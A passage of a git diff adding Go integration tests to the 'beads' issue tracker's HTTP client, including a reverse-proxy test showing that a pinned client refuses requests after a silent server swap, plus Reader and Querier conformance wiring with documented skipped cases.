conformance.RunMetadataCASDoesNotMutateTheCallerRequest(t, t.Context(), newServedMetadataCASFixture(t, "hmci")) +} diff --git a/internal/httpclient/served_project_swap_test.go b/internal/httpclient/served_project_swap_test.go new file mode 100644 index 000000000..9536390dc --- /dev/null +++ b/internal/httpclient/served_project_swap_test.go @@ -0,0 +1,218 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_project_swap_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "errors" + "io" + "net/http" + "net/http/httptest" + "net/url" + "sync/atomic" + "testing" + "time" + + "github.com/steveyegge/beads/internal/httpapi" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/storage/domain" + "github.com/steveyegge/beads/internal/storage/embeddeddolt" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// serveOneProject boots a reference store, seeds one open claimable row, and +// serves all sixteen roles under a chosen project id. It returns the bound base +// URL and the reference store, so a post-swap assertion can prove B's row went +// untouched. It reuses serveConfig for the role wiring and overrides only the +// published identity. +func serveOneProject(t *testing.T, projectID, prefix, issueID string) (*url.URL, *embeddeddolt.EmbeddedDoltStore) { + t.Helper() + ctx := context.Background() + beadsDir := t.TempDir() + ref, err := embeddeddolt.Open(ctx, beadsDir, servedDatabase, "main") + if err != nil { + t.Fatalf("open reference store for %s: %v", projectID, err) + } + t.Cleanup(func() { _ = ref.Close() }) + if err := ref.SetConfig(ctx, "issue_prefix", prefix); err != nil { + t.Fatalf("set the issue prefix for %s: %v", projectID, err) + } + issue := &types.Issue{ID: issueID, Title: issueID, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := ref.CreateIssue(ctx, issue, "seed"); err != nil { + t.Fatalf("seed %s on %s: %v", issueID, projectID, err) + } + + cfg := serveConfig(t, ref) + cfg.Workspace = domain.ContextInfo{ProjectID: projectID, Database: servedDatabase} + srv, err := httpapi.Listen(cfg) + if err != nil { + t.Fatalf("bind the server for %s: %v", projectID, err) + } + serveCtx, cancel := context.WithCancel(context.Background()) + done := make(chan struct{}) + go func() { defer close(done); _ = srv.Serve(serveCtx) }() + t.Cleanup(func() { + cancel() + select { + case <-done: + case <-time.After(30 * time.Second): + t.Errorf("the in-process server for %s did not shut down", projectID) + } + }) + + base, err := url.Parse("http://" + srv.Addr()) + if err != nil { + t.Fatalf("parse the bound address for %s: %v", projectID, err) + } + return base, ref +} + +// TestServedReadsAndWritesRefuseAfterAPostHandshakeServerSwap is the headline of +// ga-b8ddd.12's client half. Two servers sit behind one reverse proxy with an +// atomically-swappable target: server A owns the workspace's project, server B a +// different one. The client connects and handshakes against A — caching A's +// identity, which matches its pin — and is then swapped, transparently, onto B. +// +// Before the stamp, the swap was a SILENT wrong-server: the cached handshake made +// the client believe it was still talking to A, and the next baseline read would +// have rendered B's rows. With the per-request stamp, the NEXT read AND a write +// both carry the pinned id, so B refuses each with the typed project-mismatch +// diagnostic before it answers — the swap is caught, not papered over. +func TestServedReadsAndWritesRefuseAfterAPostHandshakeServerSwap(t *testing.T) { + skipUnlessEmbeddedDolt(t) + + const projA = "proj-A-the-workspace-owner" + const projB = "proj-B-a-different-workspace" + const target = "swap-1" + ctx := t.Context() + + baseA, _ := serveOneProject(t, projA, "swap", target) + baseB, refB := serveOneProject(t, projB, "swap", target) + + // The atomically-swappable target the proxy forwards to. A pointer swap is the + // whole mechanism: the client's connection to the proxy never changes, so from + // the client's side the identity under it changed with nothing else. + var backend atomic.Pointer[url.URL] + backend.Store(baseA) + + transport := http.DefaultTransport + proxy := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + to := backend.Load() + out := r.Clone(r.Context()) + // A cloned server request cannot be used as a client request until its + // RequestURI is cleared; the scheme and host are the only fields that route + // it to the current backend. + out.RequestURI = "" + out.URL.Scheme = to.Scheme + out.URL.Host = to.Host + + // The proxy DELIBERATELY does NOT rewrite Host. r.Clone preserves the + // inbound Host — the proxy's own loopback authority — and it is left that + // way on purpose: the served host gate admits it because it strips the port + // and sees a loopback host, so the request clears the gate and REACHES the + // stamp check. A future "fix" that set out.Host = to.Host would make the + // forwarded request indistinguishable from one aimed straight at B, and a + // wrong Host would be turned away by the host gate (a DIFFERENT 400 that + // carries no server_project_id) before the stamp ran — the assertions below + // would then pass for the wrong reason, or fail. Leave out.Host untouched. + + resp, err := transport.RoundTrip(out) + if err != nil { + http.Error(w, err.Error(), http.StatusBadGateway) + return + } + defer func() { _ = resp.Body.Close() }() + for k, vs := range resp.Header { + for _, v := range vs { + w.Header().Add(k, v) + } + } + w.WriteHeader(resp.StatusCode) + _, _ = io.Copy(w, resp.Body) + })) + t.Cleanup(proxy.Close) + + base, err := url.Parse(proxy.URL) + if err != nil { + t.Fatalf("parse the proxy URL: %v", err) + } + client, err := wire.New(base, nil, wire.Options{ExpectProjectID: projA}) + if err != nil { + t.Fatalf("build the client: %v", err) + } + subject := New(Target{BaseURL: base}, client, nil) + + reader, err := subject.IssueReader() + if err != nil { + t.Fatalf("IssueReader(): %v", err) + } + claimer, err := subject.IssueClaimer() + if err != nil { + t.Fatalf("IssueClaimer(): %v", err) + } + + // Connect + handshake against A: this caches A's identity, and it matches the + // pin, so the client is now (correctly) convinced it is talking to its own + // workspace. A baseline read against A must also succeed, so the post-swap + // refusal below is unambiguously the swap's doing and not a client that refuses + // everything. + snap, err := client.ServerContext(ctx) + if err != nil { + t.Fatalf("handshake against A: %v", err) + } + if snap.ProjectId != projA { + t.Fatalf("handshake cached project %q, want A's %q", snap.ProjectId, projA) + } + if _, err := reader.List(ctx, issueops.ListRequest{}); err != nil { + t.Fatalf("a read against the matching server A failed before the swap: %v", err) + } + + // The swap. Nothing about the client or its cached handshake changes; only the + // server on the other end of the proxy does. + backend.Store(baseB) + + // The NEXT read refuses with the typed mismatch — not a silent page of B's rows. + if _, err := reader.List(ctx, issueops.ListRequest{}); !errors.Is(err, wire.ErrProjectMismatch) { + t.Fatalf("the post-swap read returned %v, want a wire.ErrProjectMismatch refusal", err) + } else { + assertSwapMismatch(t, err, projA, projB) + } + + // And a write refuses the same way, before it can mutate B. + _, claimErr := claimer.Claim(ctx, issueops.ClaimRequest{Actor: "alice", IssueID: target}) + if !errors.Is(claimErr, wire.ErrProjectMismatch) { + t.Fatalf("the post-swap claim returned %v, want a wire.ErrProjectMismatch refusal", claimErr) + } + assertSwapMismatch(t, claimErr, projA, projB) + + // The write refused before it dispatched: B's row is exactly as seeded, open + // and unclaimed. The server raises project_mismatch ahead of any unit of work, + // so a refused claim on B mutates nothing. + after, err := refB.GetIssue(ctx, target) + if err != nil { + t.Fatalf("re-read B's target row: %v", err) + } + if after.Status != types.StatusOpen || after.Assignee != "" { + t.Errorf("B's row = {status %q, assignee %q}, want it still open and unclaimed — the refused claim wrote", after.Status, after.Assignee) + } +} + +// assertSwapMismatch pins that the refusal is the wrong-server one, naming both +// ids — which is what tells the stamp check apart from a host-gate refusal. +func assertSwapMismatch(t *testing.T, err error, expected, serverOwns string) { + t.Helper() + var mismatch *wire.ProjectMismatchError + if !errors.As(err, &mismatch) { + t.Fatalf("error is %T (%v), want *wire.ProjectMismatchError", err, err) + } + if mismatch.Expected != expected { + t.Errorf("mismatch.Expected = %q, want the workspace's %q", mismatch.Expected, expected) + } + if mismatch.Got != serverOwns { + t.Errorf("mismatch.Got = %q, want the swapped-in server's %q", mismatch.Got, serverOwns) + } +} diff --git a/internal/httpclient/served_querier_test.go b/internal/httpclient/served_querier_test.go new file mode 100644 index 000000000..61f2ab1e4 --- /dev/null +++ b/internal/httpclient/served_querier_test.go @@ -0,0 +1,113 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_querier_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/issueops" +) + +// The Querier contract, run through the composition (design D8 row 5). +// +// Every case here runs but one: a QueryRequest carries a SENTENCE plus four +// page and order knobs, and queryIssues publishes a parameter for all of them +// except Offset, so there is no SCOPING field for the wire to refuse. That is +// close to the shape of a role the wire covers completely, and it is worth +// saying out loud beside the Reader wiring next door, where a refused scoping +// field is the rule rather than the exception. + +func servedQuerierFixture(t *testing.T, name string) conformance.QuerierFixture { + t.Helper() + c := composition(t) + f := c.fixture(t) + querier := bindRole(t, f, func(s *Store) (issueops.Querier, error) { return s.Querier() }) + return conformance.QuerierFixture{ + IssuePrefix: servedIssuePrefix + "-" + name, + Querier: querier, + CreateIssue: c.seedIssue, + CountHistory: c.countHistory, + } +} + +func TestServedQuerierDisjunctionAnswersEveryMatch(t *testing.T) { + conformance.RunQuerierDisjunctionAnswersEveryMatch(t, t.Context(), servedQuerierFixture(t, "qry")) +} + +func TestServedQuerierPageIsAPrefixAndHasMoreIsExact(t *testing.T) { + conformance.RunQuerierPageIsAPrefixAndHasMoreIsExact(t, t.Context(), servedQuerierFixture(t, "qry")) +} + +func TestServedQuerierSortBoundsThePageInOrder(t *testing.T) { + conformance.RunQuerierSortBoundsThePageInOrder(t, t.Context(), servedQuerierFixture(t, "qry")) +} + +// The three ORDER cases beside it, and they are where this wire earns its +// keep: `sort` is a published parameter on queryIssues, so the order is the +// SERVER's own SQL rather than the page-to-exhaustion Go mirror `bd list` falls +// back to (L2). Each pins an ordering rule a re-implementation would get subtly +// wrong — the case fold before the cut, the unclosed rows at the far end of a +// closed sort, and the id tie-break in both directions. +func TestServedQuerierSortByTitleFoldsCaseBeforeItCutsThePage(t *testing.T) { + conformance.RunQuerierSortByTitleFoldsCaseBeforeItCutsThePage(t, t.Context(), servedQuerierFixture(t, "qry")) +} + +func TestServedQuerierSortByClosedPutsTheUnclosedRowsAtTheFarEnd(t *testing.T) { + conformance.RunQuerierSortByClosedPutsTheUnclosedRowsAtTheFarEnd(t, t.Context(), servedQuerierFixture(t, "qry")) +} + +func TestServedQuerierSortTieBreaksByIDInBothDirections(t *testing.T) { + conformance.RunQuerierSortTieBreaksByIDInBothDirections(t, t.Context(), servedQuerierFixture(t, "qry")) +} + +func TestServedQuerierSortSeesTheWholeMatchingSet(t *testing.T) { + conformance.RunQuerierSortSeesTheWholeMatchingSet(t, t.Context(), servedQuerierFixture(t, "qry")) +} + +func TestServedQuerierHidesClosedUnlessTheExpressionOrTheFlagSaysOtherwise(t *testing.T) { + conformance.RunQuerierHidesClosedUnlessTheExpressionOrTheFlagSaysOtherwise(t, t.Context(), servedQuerierFixture(t, "qry")) +} + +func TestServedQuerierRefusesAMalformedRequest(t *testing.T) { + conformance.RunQuerierRefusesAMalformedRequest(t, t.Context(), servedQuerierFixture(t, "qry")) +} + +// TestServedQuerierOffsetSkipsMatches is the one parked Querier case, and it +// became one upstream rather than here: the contract used to accept "honored OR +// refused with a typed *ErrUnsupported" and now asserts the skip outright, on +// the ruling that a contract ratifying a split is not pinning semantics. +// +// This wire refuses. queryIssues publishes no offset parameter — deliberately, +// because the two database sources a bd serve can be built on disagree about +// whether they can honor one — so the client has nothing to send and refuses +// rather than answering an unskipped page the caller would read as skipped. +// TestTheRolesOwnPageRefusalsAreValidationNotCapability is where that refusal +// is asserted — as a typed *ErrUnsupported rather than a validation error, which +// is the distinction that makes it this backend's statement rather than the +// caller's mistake — so the park stands in for nothing. +func TestServedQuerierOffsetSkipsMatches(t *testing.T) { + skipKnownDivergence(t, "E-QueryRequest.Offset", readParkBead, + "queryIssues publishes no offset parameter and the client refuses a non-zero Offset; the case now "+ + "asserts the skip itself, which this wire cannot express") + conformance.RunQuerierOffsetSkipsMatches(t, t.Context(), servedQuerierFixture(t, "qry")) +} + +func TestServedQuerierEmptyMatchIsAWellFormedPage(t *testing.T) { + conformance.RunQuerierEmptyMatchIsAWellFormedPage(t, t.Context(), servedQuerierFixture(t, "qry")) +} + +// TestServedQuerierWritesNothing reads the reference store's own commit log for +// its observable. The client cannot see history — v0 publishes no history +// surface — so a fixture that took CountHistory off the SUBJECT would skip, and +// a skipped case is exactly what this wiring is not allowed to produce. +func TestServedQuerierWritesNothing(t *testing.T) { + conformance.RunQuerierWritesNothing(t, t.Context(), servedQuerierFixture(t, "qry")) +} + +func TestServedQuerierDoesNotMutateTheCallerRequest(t *testing.T) { + conformance.RunQuerierDoesNotMutateTheCallerRequest(t, t.Context(), servedQuerierFixture(t, "qry")) +} diff --git a/internal/httpclient/served_reader_test.go b/internal/httpclient/served_reader_test.go new file mode 100644 index 000000000..696589a99 --- /dev/null +++ b/internal/httpclient/served_reader_test.go @@ -0,0 +1,441 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_reader_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The Reader contract, run through client → in-process bd serve → reference +// store (design D8 row 1). +// +// WHAT THIS WIRING PROVES that no unit test can: the request this client +// encoded is the request the SERVER's decoder rebuilt, the role behind it is +// the same shared body a local `bd list` runs, and the page that comes back +// survives the JSON round trip. The seed handles are the reference store's, so +// a filter this client dropped answers with rows no case seeded. +// +// WHAT IS PARKED, and it is one cause with many names: `ListRequest.IDFilter` +// is the scoping tool almost every List case reaches for, and listIssues +// publishes no id parameter (E-ListRequest.IDFilter). Refusing it is correct — +// dropping it would answer about the whole workspace — but a case that scopes +// itself with it cannot run over this wire at all. Each parked case names the +// field that refused, and the refusal ITSELF is asserted below in +// TestServedReaderRefusesTheFiltersTheWireCannotCarry, so the parking never +// stands in for an unpinned behaviour. + +// readParkBead is the bead every READ-side park cites, and it is a different +// constant from the write side's parkBead because it is a different decision +// with a different retirement. +// +// The write parks retire when the wire grows the members it deliberately +// withholds, or never. These retire when the wire grows a way to SCOPE a +// listing by id — the upstream ask D8 row 1 records alongside the `sort` +// parameter — at which point almost all of them go at once. Folding the two +// into one constant would have said they move together, which they do not. +const readParkBead = "ga-pcwtq" + +func servedReaderFixture(t *testing.T, name string) conformance.ReaderFixture { + t.Helper() + c := composition(t) + f := c.fixture(t) + reader := bindRole(t, f, func(s *Store) (issueops.Reader, error) { return s.IssueReader() }) + return conformance.ReaderFixture{ + IssuePrefix: servedIssuePrefix + "-" + name, + Reader: reader, + CreateIssue: c.seedIssue, + CreateWisp: c.seedIssue, + AddDependency: c.seedDependency, + AddComment: c.seedComment, + } +} + +func TestServedReaderReadyDefaultTypeExclusionsYieldToAnExplicitType(t *testing.T) { + conformance.RunReaderReadyDefaultTypeExclusionsYieldToAnExplicitType(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderReadyDeferredAndEphemeralGates(t *testing.T) { + conformance.RunReaderReadyDeferredAndEphemeralGates(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderReadyLimitBoundary(t *testing.T) { + conformance.RunReaderReadyLimitBoundary(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderReadySortPoliciesOrderTheSameRows(t *testing.T) { + conformance.RunReaderReadySortPoliciesOrderTheSameRows(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +// The FOUR READY cases that scope themselves with a LABEL rather than an id +// set, which is the whole reason they run here while their List siblings park: +// `labels` is a published parameter on listReadyWork and `id` is a published +// parameter on nothing. +// +// What they add over the ready cases above is the PAGE as a promise about an +// unbounded answer — every bound is asserted to be a prefix of the limitless +// read, cardinalities included — and that is a stronger claim over this wire +// than locally. A page and its unbounded reference are two round trips through +// two encodings here, so a limit this client applied on the wrong side, or a +// hydration batch the server sized differently from its page, shows up as a +// prefix that is not one. + +func TestServedReaderReadyPageIsThePrefixOfTheUnboundedAnswerCountsIncluded(t *testing.T) { + conformance.RunReaderReadyPageIsThePrefixOfTheUnboundedAnswerCountsIncluded(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +// TestServedReaderReadyPageWiderThanTheHydrationBatchIsStillThatPrefix drives +// a page wider than sqlbuild.QueryBatchSize, so the server's own hydration +// batching straddles the answer. The two rows it reads the cardinalities of are +// the last of the first batch and the first of the second. +func TestServedReaderReadyPageWiderThanTheHydrationBatchIsStillThatPrefix(t *testing.T) { + conformance.RunReaderReadyPageWiderThanTheHydrationBatchIsStillThatPrefix(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +// TestServedReaderReadyEphemeralPageKeepsBothPlanesCountsAtItsBoundary is the +// merged-plane half: alternating durable and ephemeral rows, every Limit from +// inside the first run to past the end, and the cuts that land between a wisp +// and the durable row after it. +func TestServedReaderReadyEphemeralPageKeepsBothPlanesCountsAtItsBoundary(t *testing.T) { + conformance.RunReaderReadyEphemeralPageKeepsBothPlanesCountsAtItsBoundary(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderReadyParentScopesToItsTransitiveDescendants(t *testing.T) { + conformance.RunReaderReadyParentScopesToItsTransitiveDescendants(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +// TestServedReaderListParentReachesEveryDescendantAndOnlyItsOwn is the LIST +// case that needs no id scope at all — `parent` is its scope, and listIssues +// publishes it — so it is the one member of the List family here that runs +// without a park beside it. +func TestServedReaderListParentReachesEveryDescendantAndOnlyItsOwn(t *testing.T) { + conformance.RunReaderListParentReachesEveryDescendantAndOnlyItsOwn(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderReadySetOwnsItsStatusPinnedAndTemplateDecisions(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.ReadyFlag", readParkBead, + "the case asserts the ready set through BOTH doors, and the List --ready door is the blocker-aware "+ + "query listIssues does not publish; the Ready door's half is covered by the ready cases above") + conformance.RunReaderReadySetOwnsItsStatusPinnedAndTemplateDecisions(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderOffsetSkipsTheRowsBeforeThePage(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.IDFilter", readParkBead, + "the List arm scopes itself with IDFilter, which listIssues publishes no parameter for; the Offset "+ + "refusal this wire answers with instead is pinned by TestServedReaderRefusesTheFiltersTheWireCannotCarry") + conformance.RunReaderOffsetSkipsTheRowsBeforeThePage(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderListDefaultExclusionsAndTheirOverrides(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.IDFilter", readParkBead, + "every arm scopes itself with IDFilter, and two of them additionally set PinnedFlag/NoPinnedFlag, "+ + "which listIssues publishes no parameters for") + conformance.RunReaderListDefaultExclusionsAndTheirOverrides(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderListRejectsATypeOutsideTheWorkspaceVocabulary(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.IDFilter", readParkBead, + "the built-in-type arm scopes itself with IDFilter; the vocabulary refusal itself is served (the "+ + "server validates against its own authoritative vocabulary, which is what heals L7 for this query)") + conformance.RunReaderListRejectsATypeOutsideTheWorkspaceVocabulary(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderListNaturalNumericIDSortTrimsAfterTheFetch(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.IDFilter", readParkBead, + "the case scopes itself with IDFilter; the natural-numeric order it pins is exercised over this wire "+ + "by TestServedReaderListAppliesTheClientSideDisplayOrder") + conformance.RunReaderListNaturalNumericIDSortTrimsAfterTheFetch(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderListKeysetPositionResumesTheCreatedDescIDAscOrder(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.IDFilter", readParkBead, + "the case scopes itself with IDFilter; the skip-forward walk it pins is exercised over this wire by "+ + "TestServedReaderListKeysetPositionSkipsForward, which is the same assertion under a label scope") + conformance.RunReaderListKeysetPositionResumesTheCreatedDescIDAscOrder(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderListReadyFlagAnswersTheBlockerAwareSet(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.ReadyFlag", readParkBead, + "listIssues does not publish the blocker-aware query; the ready set reaches this client through "+ + "Reader.Ready, which listReadyWork serves") + conformance.RunReaderListReadyFlagAnswersTheBlockerAwareSet(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderListReadyFlagRefusesAFilterItCannotCarry(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.ReadyFlag", readParkBead, + "the case asserts ErrValidation naming each dropped field, which is the ready ARM's refusal; over "+ + "this wire ReadyFlag itself refuses first, so the arm is never reached") + conformance.RunReaderListReadyFlagRefusesAFilterItCannotCarry(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderListEmptyPageIsWellFormed(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.IDFilter", readParkBead, + "the List arm scopes itself with IDFilter; the empty-page shape is pinned over this wire by "+ + "TestServedReaderListEmptyPageIsWellFormedUnderALabelScope") + conformance.RunReaderListEmptyPageIsWellFormed(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderListMaxRowsIsHonored(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.IDFilter", readParkBead, + "the case scopes itself with IDFilter; the cap it pins is honored over this wire and exercised by "+ + "TestServedReaderListMaxRowsBoundsWireRowsFetched") + conformance.RunReaderListMaxRowsIsHonored(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderListSkipCountsDropsTheCardinalitiesAndNothingElse(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.SkipCounts", readParkBead, + "the knob is DROPPED rather than refused (the wire hydrates the three cardinalities either way, and "+ + "every text rendering of `bd list` sets it, so refusing would kill the default listing over http); "+ + "the case additionally scopes itself with IDFilter") + conformance.RunReaderListSkipCountsDropsTheCardinalitiesAndNothingElse(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderListLimitBoundaryUnderASortTheDatabaseCanExpress(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.IDFilter", readParkBead, + "the case scopes itself with IDFilter; the limit boundary under created order is pinned over this "+ + "wire by TestServedReaderListLimitBoundaryUnderALabelScope") + conformance.RunReaderListLimitBoundaryUnderASortTheDatabaseCanExpress(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderListReadyFlagCarriesTheAssigneeAndPriorityFilters(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.ReadyFlag", readParkBead, + "listIssues does not publish the blocker-aware query") + conformance.RunReaderListReadyFlagCarriesTheAssigneeAndPriorityFilters(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +// TestServedReaderListIncludeEphemeralMergesThePlanesIntoOneOrder is the plane +// contract client wave ga-mijra brought into range, and it parks for the same +// reason every List case here parks: it scopes itself with IDFilter, which +// listIssues publishes no parameter for. +// +// The behavior it asserts is pinned by +// TestServedReaderListIncludeEphemeralMergesThePlanesUnderALabelScope, which is +// the same fixture — alternating planes, every Limit cut, the keyset walk — +// with the id scope swapped for a label one, plus the plane-identity assertion +// the contract does not make. +func TestServedReaderListIncludeEphemeralMergesThePlanesIntoOneOrder(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.IDFilter", readParkBead, + "the case scopes itself with ListRequest.IDFilter and listIssues publishes no id parameter; "+ + "the merged-plane order, the Limit cuts and the keyset walk are asserted under a label scope by "+ + "TestServedReaderListIncludeEphemeralMergesThePlanesUnderALabelScope") + conformance.RunReaderListIncludeEphemeralMergesThePlanesIntoOneOrder(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +// The FIVE remaining List parks, each named so the wiring lock counts the +// contract as accounted for rather than merely absent, and each deleted in one +// line the day its row retires. +// +// Three of them park on the id scope alone, which is this family's one cause. +// The other two would park even under a label scope, because their SUBJECT is a +// member the wire refuses — so each names that member instead. + +func TestServedReaderListCountsAreBlocksOnlyWhereGetCountsEveryEdge(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.IDFilter", readParkBead, + "the case scopes itself with IDFilter; the blocks-only rule it pins is exercised over this wire by "+ + "the cardinality assertions in TestServedReaderReadyPageIsThePrefixOfTheUnboundedAnswerCountsIncluded, "+ + "whose `family` row carries a parent-child and a relates-to edge and still reports zero dependencies") + conformance.RunReaderListCountsAreBlocksOnlyWhereGetCountsEveryEdge(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderListKeysetPositionNarrowsWithoutReplacingTheOtherPredicates(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.IDFilter", readParkBead, + "the case scopes itself with IDFilter — its shadow rows share every timestamp with the scoped ones "+ + "and are excluded by the id set ALONE, which is the whole mechanism by which a widened position "+ + "is caught, so a label scope would not stand in for it") + conformance.RunReaderListKeysetPositionNarrowsWithoutReplacingTheOtherPredicates(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderListKeysetWalkOverAnOversizedGroupLosesNothingAndRepeatsNothing(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.IDFilter", readParkBead, + "the case scopes itself with IDFilter; the keyset walk it pins is exercised over this wire by "+ + "TestServedReaderListKeysetPositionSkipsForward and by TestServedReaderListWalksMultiplePages, "+ + "both under a label scope") + conformance.RunReaderListKeysetWalkOverAnOversizedGroupLosesNothingAndRepeatsNothing(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +// The priority-order walk parks on the same row as the created-order one +// above, with a narrower stand-in beside it: the sort=priority pushdown is +// pinned under a label scope by TestServedReaderListFallsBackToTheWalkWithoutTheCapability, +// and resuming a priority keyset position — the pager's keysetFilter +// (list_walk.go) deciding priority first and the (created_at, id) pair only at +// the position's own priority — by TestServedReaderListPriorityKeysetPositionResumesThePriorityOrder. +// What neither covers is the WALK this case drives page after page over an +// oversized equal-key run, which stays unexercised over this wire until +// IDFilter (or a label-scoped rewrite) lets it run. +func TestServedReaderListPriorityKeysetWalkOverAnOversizedEqualKeyRunLosesNothingAndRepeatsNothing(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.IDFilter", readParkBead, + "the case scopes itself with IDFilter, which listIssues publishes no parameter for, so its one-shot "+ + "read is refused before the walk begins; the sort=priority pushdown is pinned under a label scope by "+ + "TestServedReaderListFallsBackToTheWalkWithoutTheCapability, and one resumed priority keyset position by "+ + "TestServedReaderListPriorityKeysetPositionResumesThePriorityOrder") + conformance.RunReaderListPriorityKeysetWalkOverAnOversizedEqualKeyRunLosesNothingAndRepeatsNothing(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +// TestServedReaderListMaxRowsBoundaryIsLimitPlusOffset names OFFSET rather than +// the id scope it also carries, because Offset is the one this case could not +// be rewritten around: the whole point is to drive the cap along the OFFSET +// axis with the limit held still, and listIssues publishes no offset parameter. +// The LIMIT axis of the same boundary runs over this wire in +// TestServedReaderListMaxRowsBoundsWireRowsFetched. +func TestServedReaderListMaxRowsBoundaryIsLimitPlusOffset(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.Offset", readParkBead, + "the case moves the cap along the Offset axis, and listIssues publishes no offset parameter (it "+ + "scopes itself with IDFilter besides); the cap's Limit axis is driven over this wire by "+ + "TestServedReaderListMaxRowsBoundsWireRowsFetched") + conformance.RunReaderListMaxRowsBoundaryIsLimitPlusOffset(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +// TestServedReaderListWispTypeNarrowsTheAdmittedPlaneRatherThanAdmittingIt +// names WISPTYPE for the same reason: the classification predicate IS the +// subject, and listIssues publishes no parameter for it, so no rescoping saves +// the case. The plane knob it composes against — IncludeEphemeral — is served, +// and its own half is asserted by +// TestServedReaderListIncludeEphemeralMergesThePlanesUnderALabelScope. +func TestServedReaderListWispTypeNarrowsTheAdmittedPlaneRatherThanAdmittingIt(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.WispType", readParkBead, + "the wisp classification predicate is the case's subject and listIssues publishes no parameter for "+ + "it; the client refuses it rather than answering the whole admitted plane, which is the reading "+ + "the case exists to rule out") + conformance.RunReaderListWispTypeNarrowsTheAdmittedPlaneRatherThanAdmittingIt(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderListStatusAcceptsACommaSeparatedORSet(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.IDFilter", readParkBead, + "the case scopes itself with IDFilter; the OR set it pins is exercised over this wire by "+ + "TestServedReaderListStatusORSetUnderALabelScope, which drives the same three status shapes") + conformance.RunReaderListStatusAcceptsACommaSeparatedORSet(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +// The THREE BRIEF CONTRACTS, adopted by client wave ga-f352s. +// +// They were reachable before they were wired, and the gap was one thing rather +// than three: `brief` is a published parameter on both pages (#5586) and +// `brief_deps` on getIssue (#5546), and this client's encoder sends all three — +// so the server has been leaving the text columns unselected for a wave already. +// What was missing is the MARKER. types.Issue.IsLitePartial is `json:"-"`, so a +// projected row arrives byte-identical to a genuinely textless one, and +// assertReaderBriefRow hard-fails any leg that answers one with the flag unset. +// +// THE CONTRACT IS WHAT FORCED THE STAMP, which is why deferring these to this +// wave was safe rather than lucky: there is no way to adopt them and not stamp, +// and no way to stamp and leave a door out — the client sends the parameter from +// three places (listTable, readyTable and the ready bridge) and all three lift +// their rows through one function. TestBriefListingsStampTheProjectionMarker +// asserts that door-by-door; these assert what a projected row must contain. + +// TestServedReaderListBriefDropsTheFreeFormTextAndNothingElse parks for the +// reason every List case here parks — it scopes itself with IDFilter, and +// listIssues publishes no id parameter — NOT for anything about the projection. +// +// The projection half is asserted over this wire by the ready sibling below, +// which drives the identical assertReaderBriefRow through the same encoder and +// the same row lift, under a label scope instead of an id one. +func TestServedReaderListBriefDropsTheFreeFormTextAndNothingElse(t *testing.T) { + 